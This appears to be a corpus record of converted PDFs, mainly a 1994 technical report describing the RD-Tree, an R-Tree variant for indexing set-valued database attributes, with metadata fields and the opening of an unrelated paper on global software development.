"ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 22049, 0.74017]], "google_gemma-3-12b-it_contains_pii": [[0, 1990, false], [1990, 4530, null], [4530, 5060, null], [5060, 5744, null], [5744, 8194, null], [8194, 10620, null], [10620, 11572, null], [11572, 13373, null], [13373, 14668, null], [14668, 16011, null], [16011, 17407, null], [17407, 18604, null], [18604, 20150, null], [20150, 20423, null], [20423, 22049, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1990, true], [1990, 4530, null], [4530, 5060, null], [5060, 5744, null], [5744, 8194, null], [8194, 10620, null], [10620, 11572, null], [11572, 13373, null], [13373, 14668, null], [14668, 16011, null], [16011, 17407, null], [17407, 18604, null], [18604, 20150, null], [20150, 20423, null], [20423, 22049, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 22049, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 22049, null]], "pdf_page_numbers": [[0, 1990, 1], [1990, 4530, 2], [4530, 5060, 3], [5060, 5744, 4], [5744, 8194, 5], [8194, 10620, 6], [10620, 11572, 7], [11572, 13373, 8], [13373, 14668, 9], [14668, 16011, 10], [16011, 17407, 11], [17407, 18604, 12], [18604, 20150, 13], [20150, 20423, 14], [20423, 22049, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 22049, 0.06007]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
52f86607f4ada143f711ec3c9f3a9ff8a18f8970
|
The RD-Tree: An Index Structure for Sets
Joseph M. Hellerstein
Avi Pfeffer
Technical Report #1252
November 1994
THE RD-TREE: AN INDEX STRUCTURE FOR SETS
Joseph M. Hellerstein
University of Wisconsin, Madison
Avi Pfeffer
University of California, Berkeley
Abstract
The implementation of complex types in Object-Relational database systems requires the development of efficient access methods. In this paper we describe the RD-Tree, an index structure for set-valued attributes. The RD-Tree is an adaptation of the R-Tree that exploits a natural analogy between spatial objects and sets. A particular engineering difficulty arises in representing the keys in an RD-Tree. We propose several different representations, and describe the tradeoffs of using each. An implementation and validation of this work is underway in the SHORE object repository.
1. INTRODUCTION
Traditional relational database systems (RDBMSs) have excellent query processing capabilities, but suffer from a rigid and semantically impoverished data model. Work in Object Oriented databases (OODBMSs) has stressed the need for a richer data model that allows complex types. Among the requirements of this model is support for set-valued attributes, which are record elements of type set-of-x, where x is some type known to the system. These sets naturally occur in association with single objects, as, for example, the set of courses taken by a student, or the set of keywords in a document.
Much work has been done in carefully defining data models and languages for OODBMSs, but less attention has been paid to actually processing queries in such a system. There are several commercial OODBMS products that have limited or non-existent query processing and optimization facilities.
Object-Relational database systems (O-R systems) such as Postgres, Starburst and the commercial products UniSQL and Illustra [STON93], attempt to combine the richness of the OODBMS data model with the query processing performance of RDBMSs. In order to achieve this they require efficient support for manipulation of complex objects. In particular, they must be able to evaluate predicates involving set-valued attributes efficiently. Natural queries on sets are not well supported in current O-R systems, because there are no efficient access methods for set valued attributes.
In this paper we describe the RD-Tree, an index structure for sets. The RD-Tree is a variant of the R-Tree, a popular access method for spatial data [GUTT84]. RD stands for "Russian Doll", which describes the transitive containment relation that is fundamental to the tree structure. We discuss the engineering issues involved in representing the keys in an RD-Tree, and propose several representations. RD-Trees have been implemented in Illustra and in the SHORE object repository, and we plan extensive tests to demonstrate the validity of this approach and evaluate the various key representations.
1.1. SAMPLE QUERIES
To illustrate the types of queries that involve set predicates, we consider a sample database with two class definitions:
\[
\begin{align*}
\text{STUDENT} &= [\text{name: text, passed: set of COURSE}] \\
\text{COURSE} &= [\text{name: text, department: text, number: int, prerequisites: set of COURSE}]
\end{align*}
\]
The predicates we want to evaluate on this database can be divided into several categories:
1) superset predicates
\[
\begin{align*}
\text{select} & \quad \text{STUDENT.name} \\
\text{from} & \quad \text{STUDENT} \\
\text{where} & \quad \text{STUDENT.passed} \supseteq \{\text{CS186, CS162}\}^\dagger
\end{align*}
\]
This query selects all students who have passed CS186 and CS162. In the predicate of this query we are searching for supersets of a given set. An RD-Tree on the STUDENT.passed attribute will greatly facilitate evaluation of this predicate.
2) subset predicates
\[
\begin{align*}
\text{select} & \quad \text{COURSE.name, COURSE.department, COURSE.number} \\
\text{from} & \quad \text{COURSE} \\
\text{where} & \quad \text{COURSE.prerequisites} \subseteq \{\text{CS186, CS182}\}
\end{align*}
\]
This query selects all courses that can be taken by a student who has passed CS186 and CS182. In the predicate of this query we are searching for subsets of a given set. Unfortunately the RD-Tree does not work well on this type of predicate. However, an inverted RD-Tree as described in section 4 can be used to evaluate subset predicates.
3) overlap predicates
\[
\begin{align*}
\text{select} & \quad \text{STUDENT.name} \\
\text{from} & \quad \text{STUDENT} \\
\text{where} & \quad \text{STUDENT.passed} \cap \{\text{CS150, CS186, CS162}\} \geq 2
\end{align*}
\]
This query selects all students who have passed at least two of CS150, CS186 and CS162. RD-Trees are effective for overlap queries. If the degree of overlap required is equal to the cardinality of the given set, the predicate is equivalent to a superset predicate.
4) joins
\[
\begin{align*}
\text{select} & \quad \text{STUDENT.name, COURSE.name} \\
\text{from} & \quad \text{STUDENT, COURSE} \\
\text{where} & \quad \text{COURSE.prerequisites} \subseteq \text{STUDENT.passed}
\end{align*}
\]
\[\dagger\] This is a minor abuse of notation. Sets of courses are normally represented by sets of object ids of course tuples.
This query selects all (STUDENT, COURSE) pairs where the student has satisfied the prerequisites for the course. It can be executed as a nested-loop join where the outer relation is COURSE and the inner relation is STUDENT. The join then becomes a series of superset predicates for which an RD-Tree index on STUDENT.passed can be used.
1.2. RELATED WORK
There has been a fair amount of work done on access methods for nested attributes. Bertino and Kim [BERT89] proposed three indexing mechanisms for complex objects: the nested index, path index and multiindex. However, these access methods are not designed to support efficient evaluation of set predicates.
Ishikawa et al. [ISHI93] examined the use of signature file techniques for testing set inclusion. They provide a probabilistic algorithm that attempts to quickly determine whether one set is a subset of another. In some cases the algorithm will return "false", in others it will return "don't know" and other methods must be used for determining the answer. Thus signature files provide a useful filter for restricting set predicates. However, they are not an indexing method, as the entire signature file must be scanned when evaluating a predicate.
Signature file techniques and RD-Trees can coexist. Signatures provide a way to quickly resolve a comparison of two specific sets, while the RD-Tree is an access method that guides the DBMS to the appropriate data. The RD-Tree can use signatures to perform individual set comparisons.
Inverted files are a popular technique for single-element lookups in a collection of set-valued attributes. See, for example, [BROW94]. Inverted files can be extended to search for supersets of a given set \( S \) with \( n \) elements, by performing a single-element lookup for each element in \( S \) and then taking the \( n \)-way intersection of the results. This can become inefficient if \( n \) is large, especially if the \( n \) result sets are large.
2. THE RD-TREE STRUCTURE
The structure of an RD-Tree is similar to that of an R-Tree. Leaf nodes in an R-Tree contain entries of the form \((data \ object, \ bounding \ box)\). The bounding box is the smallest \( n \)-dimensional rectangle that contains the data object. Non-leaf nodes in an R-Tree contain entries of the form \((child\ pointer, \ bounding \ box)\). In this case the bounding box is the smallest \( n \)-dimensional rectangle that contains all the bounding boxes of the entries in the child node.
Any data object indexed by the R-Tree is contained in its own bounding box and in the bounding box of all its ancestors in the tree. This transitive containment relation is at the heart of the R-Tree structure. It allows entire branches of the tree to be rejected when searching for a particular region in space. RD-Trees rely on a similar transitive containment relation, the set inclusion relation.
We refer to the sets being indexed by the RD-Tree as base sets, and the elements which comprise them as base elements. The set of all base elements is the universe. Every base set has a bounding set, which is the smallest set containing the base set that satisfies certain properties. This is analogous to the idea that the bounding box of a polygon is a rectangle, which is a polygon with special properties. The particular properties that the bounding set must satisfy depends on the choice of representation of keys, to be discussed in section 3.
Leaf nodes in an RD-Tree contain entries of the form \((base \ set, \ bounding \ set)\). Non-leaf nodes contain entries of the form \((child\ pointer, \ bounding \ set)\). The bounding set of a non-leaf node entry must contain all the
bounding sets in the child node. Thus it is the bounding set of the union of the bounding sets in the child node. Each base set is contained in its bounding set, and each bounding set is contained in the bounding set of its parent, so the transitive set inclusion relation that is crucial to the RD-Tree structure exists.
To find all base sets which are supersets of a given set, begin at the root node of the RD-Tree. On any non-leaf node, examine the bounding set of each entry. If the bounding set is not a superset of the given set, then none of the base sets descended from it can be either, so the branch of the tree rooted at that entry can be discarded. If the bounding set is a superset of the given set, then its child node must be examined. On a leaf node, the base sets can be directly examined, but in some cases it may be advantageous to examine the bounding sets first.
Overlap searches are performed similarly. If the bounding set of a non-leaf entry does not overlap with the given set by the required amount, then the entire branch descended from that entry can be discarded from the search. If the bounding set of the entry being examined does overlap by the given amount, then its child node must be searched.
When an object is inserted into an R-Tree, the position of the object in the tree must be determined. On each non-leaf node, the insertion algorithm examines all the bounding boxes and chooses the one whose bounding box needs least enlargement to include the new object. An alternative heuristic would be to choose the rectangle with the largest overlap with the new object. The analogous heuristic in the RD-Tree is to choose the bounding set whose intersection with the set to be inserted has the greatest cardinality.
Similarly, the algorithms to split a node in an R-Tree involve heuristics to make the two new nodes as disjoint as possible and minimize the areas of their bounding boxes. Analogous heuristics exist for the RD-Tree. It is desirable to place two entries whose bounding boxes have large intersection in the same node, and entries whose bounding boxes have little intersection in different nodes. The quadratic-cost R-Tree node splitting algorithm has a direct analog in RD-Trees. The linear-cost algorithm relies on the geometrical concepts of "high" and "low" and is not immediately generalizable to RD-Trees. However, for some representations of bounding sets described below, a linear-cost splitting algorithm can be used.
2.1. AN EXAMPLE
To illustrate how an RD-Tree can be used to index sets, consider an example with six sets containing integers from 0 to 9:
\[ S1 = \{1, 2, 3, 5, 6, 9\} \]
\[ S2 = \{1, 2, 5\} \]
\[ S3 = \{0, 5, 6, 9\} \]
\[ S4 = \{1, 4, 5, 8\} \]
\[ S5 = \{0, 9\} \]
\[ S6 = \{3, 5, 6, 7, 8\} \]
\[ S7 = \{4, 7, 9\} \]
In this simple example, we define the bounding box of a set to be the set itself, and use an RD-Tree with up to two entries in each node. In practice RD-Trees would have a much larger number of entries in a node. The RD-Tree index to these sets is shown in figure 1.
A search for all supersets of \( \{2, 9\} \) will begin at the root of the tree. Since \( \{1, 3, 4, 5, 6, 7, 8, 9\} \) is not a superset of \( \{2, 9\} \), the right subtree is discarded. \( \{0, 1, 2, 3, 5, 6, 9\} \) is a superset of \( \{2, 9\} \) so the left child of the root is examined next. \( \{0, 5, 6, 9\} \) is not a superset of \( \{2, 9\} \), so the left subtree is rejected, but \( \{1, 2, 3, 5, 6, 9\} \) is a superset, so its child is examined. This is a leaf node, so the base sets can be examined directly, revealing the answer S1.
Insertion of the set \( S8 = \{2, 4, 8, 9\} \) would begin by choosing the right subtree at the root, because \( \{2, 4, 8, 9\} \) has three elements in common with \( \{1, 3, 4, 5, 6, 7, 8, 9\} \) and only two with \( \{0, 1, 2, 3, 5, 6, 9\} \). Descending to the right child, we find that \( \{2, 4, 8, 9\} \) has two elements in common with both \( \{1, 3, 4, 5, 6, 7, 8\} \) and \( \{4, 7, 9\} \). Since \( \{4, 7, 9\} \) is smaller, we choose the right branch again. Finally, the child node is a leaf, and \( S8 \) is inserted into the empty space.
2.2. STORING VARIABLE LENGTH KEYS
A technical issue that must be addressed when implementing RD-Trees is the fact that the keys describing the bounding sets may not all be the same size. In an R-Tree the bounding box is specified by a fixed number of \( n \)-dimensional points, so the keys are all the same size. However, some of the bounding set representations described in section 3 allow variable length keys.
This problem complicates the RD-Tree in several ways. First of all, the maximum number of keys that will fit on a page becomes variable, making analysis and tuning more difficult. A more serious difficulty is that an entry in a non-leaf node may change size whenever a base set is inserted into or deleted from one of its descendants. This may require that the entry be moved, and in some cases it will no longer fit in its node.
When this situation occurs, we remove the growing entry from the node it is currently in, and split the node. It is then unclear into which new node the growing entry should be inserted. Rather than attempt to calculate which node to use, we take advantage of a feature of R*-Trees [BECK90] which is available in SHORE. R*-Trees allow forced reinserts: that is, any entry can be inserted at any level of the tree. The tree chooses which node at that level will be used.
3. REPRESENTATION OF KEYS
The keys in an RD-Tree describe the bounding sets of entries. The precise definition of the bounding set depends on the choice of representation of the keys. A good representation will satisfy several criteria:
size A good key will be small, so as to allow as many entries as possible in a node. This increases the fanout of the tree and reduces its height.
completeness A good key will represent a set as completely as possible. In other words, the bounding set that it describes should contain as few elements as possible that are not in the set being bounded. The lossiness of a representation is a measure of the "noise-to-signal" ratio of the representation. It is defined by
\[
\frac{|\text{bounding set} - \text{bounded set}|}{|\text{bounding set}|}.
\]
This is the probability that a single element will be in the bounding set but not in the bounded set. During a search for supersets of a set containing a single element, a branch of the tree will be selected for searching if the bounding set of the root of the branch contains the element. The lossiness of the representation indicates the probability that the branch is being searched unnecessarily. In a search for supersets of a set of cardinality \( n \), the probability that the search of a branch is unnecessary equals the \( n \)-th power of the lossiness. Therefore lossiness is less of a factor when searching for supersets of large sets.
computation cost A good key will allow efficient computation of the set inclusion and intersection operations. These operations are performed many times during a search and are critical to the performance of the RD-Tree.
3.1. COMPLETE REPRESENTATION
The first class of representations considered define the bounding set of a set to be exactly the same as the set itself. These representations have zero lossiness. The disadvantage of these representations is that they are either too large to be practical, or make computation of the basic set operations very expensive.
The simplest approach is to directly represent the sets in the RD-Tree nodes. A set will typically be a list of simple objects if the base elements are of simple type, or a list of object ids if the base elements are complex objects. The list may be sorted to improve efficiency of computing the set operations.
This approach is impractical in all but the simplest databases, as the keys quickly become large. Even if the base sets are all small, their union may be large, and keys in higher levels of the tree represent unions of many sets. As the key size grows, fanout decreases, and when a key becomes larger than half a page, the index can no longer function.
A solution to this problem is to store keys externally to the RD-Tree, and to store a pointer to each entry’s key in the tree. This may be combined with the previous approach so that small keys are stored directly in the tree, while large ones are referred to by pointer. While this does guarantee high fanout, it makes computation of set operations expensive. As keys become larger than half a page, every key comparison will require reading a page from disk.
If the universe of base elements is fixed and of small size, the sets can be represented by a bitmap. This has the advantages that keys have a fixed size no matter how large the set they represent, and that set computations are cheap bitwise operations. The universe must be small enough for several bitmaps to fit on each page. Also, there must be a guarantee that new elements will not be added to the universe after the tree has been created. If these conditions hold this is a very practical approach.
3.2. BLOOM FILTERS AND SIGNATURES
A variation on the bitmap approach represents the keys by a bit vector that is smaller than the size of the universe. In addition, new elements may be added to the universe at any time. This approach has the same advantages as the bitmap approach: fixed size keys and cheap computations. However, a degree of lossiness is introduced into the representation by the fact that individual bits no longer represent unique elements.
A set can be represented by a Bloom filter. This is a vector in which all bits are initially set to zero. Every element in the set is hashed to a particular bit in the filter, which is then set to one. Elements that hash to the same position cannot be differentiated from each other. Thus each bit represents all the elements that hash to that bit, and the lossiness of the Bloom filter is equal to
\[ 1 - \frac{\text{size of bit vector}}{\text{cardinality of universe}}. \]
If the universe is significantly larger than the bit vector, the lossiness will be close to 1. Therefore this approach is only effective for queries that search for supersets of fairly large sets.
A more sophisticated technique is to use signatures as described in [ISHI93]. Every element has a signature, which is a pattern of bits in the bitmap that are set when that element is present. The signature of a set is a bitwise or of the signatures of the elements of the set. Since elements are mapped to collections of bits rather than individual bits, each element can have a unique signature even in a universe much larger than the size of the bitmap. Therefore the lossiness of this representation is much lower than the lossiness of Bloom filters. Nevertheless, a small amount of lossiness still exists due to the fact that the combined signature of all elements in a set may also include the signature of other elements.
3.3. RANGESETS
An alternative representation of sets that allows efficient processing of set operations is the rangeset [HELL93]. A range is an ordered pair of integers \((a, b)\) where \(a \leq b\), that represents the set of integers \(x\) such that \(a \leq x \leq b\). A rangeset is an ordered list of disjoint ranges \([(a_1, b_1), \ldots, (a_n, b_n)]\) such that \(b_i < a_j\) whenever \(i < j\). It
represents the union of the sets represented by the ranges.
Any set of integers can be represented by a rangeset. For example, the sets of section 2.1 would be represented as
\[ S_1 = ((1, 3), (5, 6), (9, 9)) \]
\[ S_2 = ((1, 2), (5, 5)) \]
\[ S_3 = ((0, 0), (5, 6), (9, 9)) \]
\[ S_4 = ((1, 1), (4, 5), (8, 8)) \]
\[ S_5 = ((0, 0), (9, 9)) \]
\[ S_6 = ((3, 3), (5, 8)) \]
\[ S_7 = ((4, 4), (7, 7), (9, 9)) \]
A set of integers may also be approximated by a rangeset consisting of fewer ranges. For example, \( S_1 \) may be approximated by \(((1, 6), (9, 9))\), and \( S_6 \) may be approximated by \(((3, 8))\).
A rangeset representation of RD-Tree keys would fix a maximum number of ranges \( n \) allowed in a rangeset describing a key. The bounding set of a set \( S \) is the smallest set containing \( S \) that can be described by a rangeset containing \( n \) or fewer ranges. Given any set \( S \) and a maximum number of ranges \( n \), the bounding set of \( S \) can be computed by the algorithm described in the appendix.
If the universe consists of objects of some type other than integer, elements in the universe can be mapped to unique integers in the range \( (1, \text{maxid}) \), where \( \text{maxid} \) is the cardinality of the universe. A procedure for performing this mapping is described in [HELL93]. Once this mapping has been performed, sets in the universe can be represented by rangesets of integers.
The lossiness of a rangeset representation depends on the \textbf{correlation factor} of the universe, and on the choice of mapping of base elements to the integers. The correlation factor is the degree to which elements in the universe associate into groups. In other words, it describes the degree to which the presence of one element in a set influences the probability that another element will be present. Elements which are closely correlated should be mapped to integers that are close together. Ranges of integers will then represent groups of elements that commonly occur together. Sets will naturally cluster into ranges so that they can be well approximated by rangesets. We are currently investigating ways of choosing an effective mapping that takes advantage of high correlation.
The choice of the maximum number of ranges allowed in the rangesets describing bounding sets involves a tradeoff between decreasing lossiness and increasing fanout. Allowing more ranges reduces lossiness by making the bounding set approximate the bounded set more closely. However, it also increases the size of the key, thereby reducing fanout. The optimal key-size will vary from key to key, as some sets can be approximated closely by a small number of ranges whereas others cannot. We are studying the use of both fixed-size and variable-size rangesets in RD-Trees.
### 3.4. COMBINED REPRESENTATIONS
Each representation has its advantages and disadvantages. The best representation for a key may vary from place to place within an RD-Tree. For example, sets on leaf nodes are likely to be small while sets near the root are likely to be large. Small sets may be best represented directly, while large ones are probably best represented by one of the approximations described above.
In addition, some of the representation methods have parameters that can be tweaked to different values at different places in the tree. One example is the maximum number of ranges allowed in a range set, as described above. Another is the size of the bit vector used by the signature representation. The lossiness of a signature increases with the cardinality of the set being represented, and decreases with the size of the bit vector. Therefore smaller bit vectors may be more appropriate at lower levels of the tree, where sets being represented are smaller.
An RD-Tree that combines different representations may prove to be more efficient than one that uses a single representation. The granularity of variation of representation may be the individual entry, the node, or the tree level. Whatever the granularity, a record must be kept at appropriate points in the tree indicating the representation being used and the values of the parameters.
Another option is to store more than one representation for each key. A key for an entry could consist of a hint, in the form of one of the approximate bounding sets described above, together with a pointer to the complete set description. When performing a search on some predicate, first the predicate is evaluated for the bounding set. If the answer is negative, the entry can be rejected. If it is positive, the answer is checked against the complete set description. If the answer is still positive, the subtree rooted at that entry is searched. If it is now negative, an unnecessary search of the subtree has been avoided.
4. INVERTED RD-TREES
As mentioned above, RD-Trees do not perform well on subset predicates. If the bounding set of an entry is a subset of a given set, then all the base sets reached via that entry are also subsets. However, the branch of the tree rooted at that entry must still be explored in order to reach those base sets. If the bounding set is not a subset of the given set, the branch cannot be rejected, because it is possible that one of its descendants is a subset.
The inverted RD-Tree allows subset predicates to be evaluated. Non-leaf nodes in an inverted RD-Tree contain entries of the form (child pointer, key), where key is the intersection of all keys in the child node. Thus the transitive containment relation is inverted, as parent keys are contained in the keys of all their children. If the key of any entry is not the subset of a given set, then none of its children can be either, and the branch of the tree rooted at that entry can be rejected from the search. An example of an inverted RD-Tree indexing the sets of section 3.1 is shown in figure 2.
A combined normal/inverted RTree could also be constructed, by keeping both the union and intersection keys for each pointer. Unless the keys are stored externally, the combined RD-Tree would have lower fanout due to larger key size.
For both inverted and combined RD-Trees, a heuristic must be chosen for splitting tree pages. For the inverted tree, maximum size of intersection is the criterion that will produce the best overlap within a page, but it also maximizes the key size for representations with variable length keys. For the combined tree, minimizing the symmetric set difference $(A - B) \cup (B - A)$ appears to be a natural heuristic.
Mathematically, an inverted RD-Tree is equivalent to an RD-Tree on the complements of the base sets. This is because the complement of the intersection of two sets is the union of the complements of those sets. Theoretically, the inverted RD-Tree should perform as well on subset predicates as an RD-Tree performs on superset predicates.
However, in most practical domains, base sets will usually be small compared to the universe. In such situations the intersection of all sets on a node is likely to be very small. The intersections will degenerate to the null set on higher levels of the tree, making the index useless. In domains with high correlation factor, where certain groups
of elements are shared by many sets, intersections will degenerate more slowly, making the use of inverted RD-Trees more reasonable. It remains to be seen whether the inverted RD-Tree can be effective in a practical application.
5. PROPOSED PERFORMANCE STUDY
We plan a detailed performance study that implements several of the representations described above and analyzes their performance on a variety of data. We will also compare the performance of RD-Trees and inverted RD-Trees to that of traditional set access methods such as signature files.
We will test our implementation on synthetic data that varies the following parameters:
- size of universe
- average base set size
- variance of base set size
- number of base elements in universe
- frequency distribution of base elements
- correlation factor
We will also test the RD-Tree on real undergraduate enrollment data from the University of Wisconsin. This
database is similar to the one described in section 1.1, and will allow us to perform the queries presented there.
6. CONCLUSION
We have proposed and implemented the RD-Tree, an index structure for set-valued attributes. Studies are currently underway to test the effectiveness of this access method. Once the basic validity of our approach has been demonstrated, we will undertake a more detailed analysis to determine the most efficient implementation of RD-Trees in various domains.
The performance of an RD-Tree in a domain is likely to depend on the correlation factor of elements in the domain. An interesting direction of future research is an investigation into this concept. Methods are needed to analyze and characterize the correlation factor of a universe, and to determine which elements are correlated with each other. We believe that a deep understanding of these issues will serve to elucidate the structure of collections of sets, and have practical applications for databases that manage such collections.
REFERENCES
APPENDIX: ALGORITHM FOR COMPUTING RANGESETS
Problem
Given a set S of n elements stored in sort-order, reduce it to a rangeset of k < n ranges such that a minimal number of new elements are introduced.
Algorithm
Initialize: consider each element \(a_m \in S\) to be a range \(< a_m, a_m >\).
do {
find the pair of adjacent ranges with the least interval between them;
form a single range of the pair;
} until only \(k\) ranges remain;
Proof of optimality
We must show that greedy local choices lead to a globally optimal solution. Consider some optimal rangeset \(A\). Assume \(A\) does not contain the initial greedy choice: that is, \(A\) does not group together the 2 adjacent elements \(a_i, a_{i+1}\) of least interval \(\delta = a_{i+1} - a_i\). Then \(a_i\) is the endpoint of one range, and \(a_{i+1}\) is the start of another range. We can modify \(A\) by moving \(a_i\) to the range containing \(a_{i+1}\); call the resulting rangeset \(B\). The number of "false" elements in \(B\) differs from that in \(A\) by a factor of \((a_{i+1} - a_i - 1) - (a_i - a_{i-1} - 1)\). Since we assumed that \(\delta\) was a minimal interval, this expression cannot be less than 0. So \(B\) must be an optimal rangeset, or our assumption that \(A\) was an optimal rangeset was false. Hence \(B\) is an optimal rangeset that begins with a greedy choice, and therefore making a greedy initial choice can never produce a suboptimal rangeset.
Moreover, once the greedy choice of \(a_i, a_{i+1}\) is made, the problem reduces to a subproblem of finding an optimal rangeset over the ranges
\[S' = \{ < a_1, a_1 >, \ldots, < a_{i-1}, a_{i-1} >, < a_i, a_{i+1} >, < a_{i+2}, a_{i+2} >, \ldots, < a_n, a_n > \}\]
By a similar argument to the one above, making a greedy choice here is once again no worse than an optimal solution to this subproblem. This argument continues inductively, demonstrating that a greedy choice at each step produces an optimal solution.
Running Time
One can first sort the intervals between the elements by size to find the smallest \((n - k)\) intervals in \(O(n \log(n))\) time. Using this information, each run of the do loop takes constant time, so running time is \(O(n \log(n))\).
Modified version for variable-length keys:
Given that the greedy algorithm above produces an optimal rangeset for a fixed number of ranges \(k\), the following greedy algorithm produces a "good" rangeset of no more than \(k\) ranges. It produces a rangeset of fewest ranges under 2 constraints:
(1) the result has no more than \(k\) ranges,
(2) an error-bound is not exceeded unless one has to do so to ensure (1). The error bound is expressed in terms of percentage bad info, i.e. ratio of false elements to total elements.
The rangeset of \(l\) ranges that is produced is an optimal rangeset of \(l\) ranges, by the proof above.
Given a set \(S\), a number \(k\), and an error-tolerance \(t < 1\):
Initialize:
consider each element \(a_m \in S\) to be a range \(< a_m, a_m >\).
current_card = \|S\|;
max_card = \\frac{\|S\|}{1 - t};
12
num_ranges = |S|;
while ((num_ranges > k) || (current_card <= max_card)) {
group together the two adjacent ranges < ai − ai+1 >,
< ai+1 − ai+2 > of least difference;
current_card += ai[i+1] − ai[i] − 1;
num_ranges--;
}
if (num_ranges > k)
ungroup the last group; /* since max_card has been exceeded */
|
{"Source-Url": "http://research.cs.wisc.edu/techreports/1994/TR1252.pdf", "len_cl100k_base": 7819, "olmocr-version": "0.1.50", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 16002, "total-output-tokens": 9037, "length": "2e12", "weborganizer": {"__label__adult": 0.00032782554626464844, "__label__art_design": 0.0005011558532714844, "__label__crime_law": 0.0004949569702148438, "__label__education_jobs": 0.0033893585205078125, "__label__entertainment": 0.0001087188720703125, "__label__fashion_beauty": 0.00022733211517333984, "__label__finance_business": 0.0006146430969238281, "__label__food_dining": 0.0003848075866699219, "__label__games": 0.0005779266357421875, "__label__hardware": 0.0013189315795898438, "__label__health": 0.0007777214050292969, "__label__history": 0.0004661083221435547, "__label__home_hobbies": 0.0001881122589111328, "__label__industrial": 0.0007538795471191406, "__label__literature": 0.0004925727844238281, "__label__politics": 0.00029754638671875, "__label__religion": 0.0005469322204589844, "__label__science_tech": 0.260498046875, "__label__social_life": 0.00016629695892333984, "__label__software": 0.037811279296875, "__label__software_dev": 0.68896484375, "__label__sports_fitness": 0.00025653839111328125, "__label__transportation": 0.0006384849548339844, "__label__travel": 0.0002532005310058594}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34306, 0.03322]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34306, 0.69161]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34306, 0.91407]], "google_gemma-3-12b-it_contains_pii": [[0, 115, false], [115, 2944, null], [2944, 5293, null], [5293, 8962, null], [8962, 12030, null], [12030, 13553, null], [13553, 16783, null], [16783, 20381, null], [20381, 23602, null], [23602, 27602, null], [27602, 28524, null], [28524, 31114, null], [31114, 33978, null], [33978, 34306, null]], "google_gemma-3-12b-it_is_public_document": [[0, 115, true], [115, 2944, null], [2944, 5293, null], [5293, 8962, null], [8962, 12030, null], [12030, 13553, null], [13553, 16783, null], [16783, 20381, null], [20381, 23602, null], [23602, 27602, null], [27602, 28524, null], [28524, 31114, null], [31114, 33978, null], [33978, 34306, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34306, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34306, null]], "pdf_page_numbers": [[0, 115, 1], [115, 2944, 2], [2944, 5293, 3], [5293, 8962, 4], [8962, 12030, 5], [12030, 13553, 6], [13553, 16783, 7], [16783, 20381, 8], [20381, 23602, 9], [23602, 27602, 10], [27602, 28524, 11], [28524, 31114, 12], [31114, 33978, 13], [33978, 34306, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34306, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
82951ac8a6d756d60cc4eea4e5a0c77512fe9037
|
Global Software Development Challenges: A Case Study on Temporal, Geographical and Socio-Cultural Distance
Helena Holmstrom, Eoin Ó Conchúir, Pär J Ågerfalk, Brian Fitzgerald
University of Limerick, Limerick, Ireland
{helena.holmstrom, eoin.oconchuir, par.agerfalk, bf}@ul.ie
Abstract
Global software development (GSD) is a phenomenon that is receiving considerable interest from companies all over the world. In GSD, stakeholders from different national and organizational cultures are involved in developing software and the many benefits include access to a large labour pool, cost advantage and round-the-clock development. However, GSD is technologically and organizationally complex and presents a variety of challenges to be managed by the software development team. In particular, temporal, geographical and socio-cultural distances impose problems not experienced in traditional systems development. In this paper, we present findings from a case study in which we explore the particular challenges associated with managing GSD. Our study also reveals some of the solutions that are used to deal with these challenges.
1. Introduction
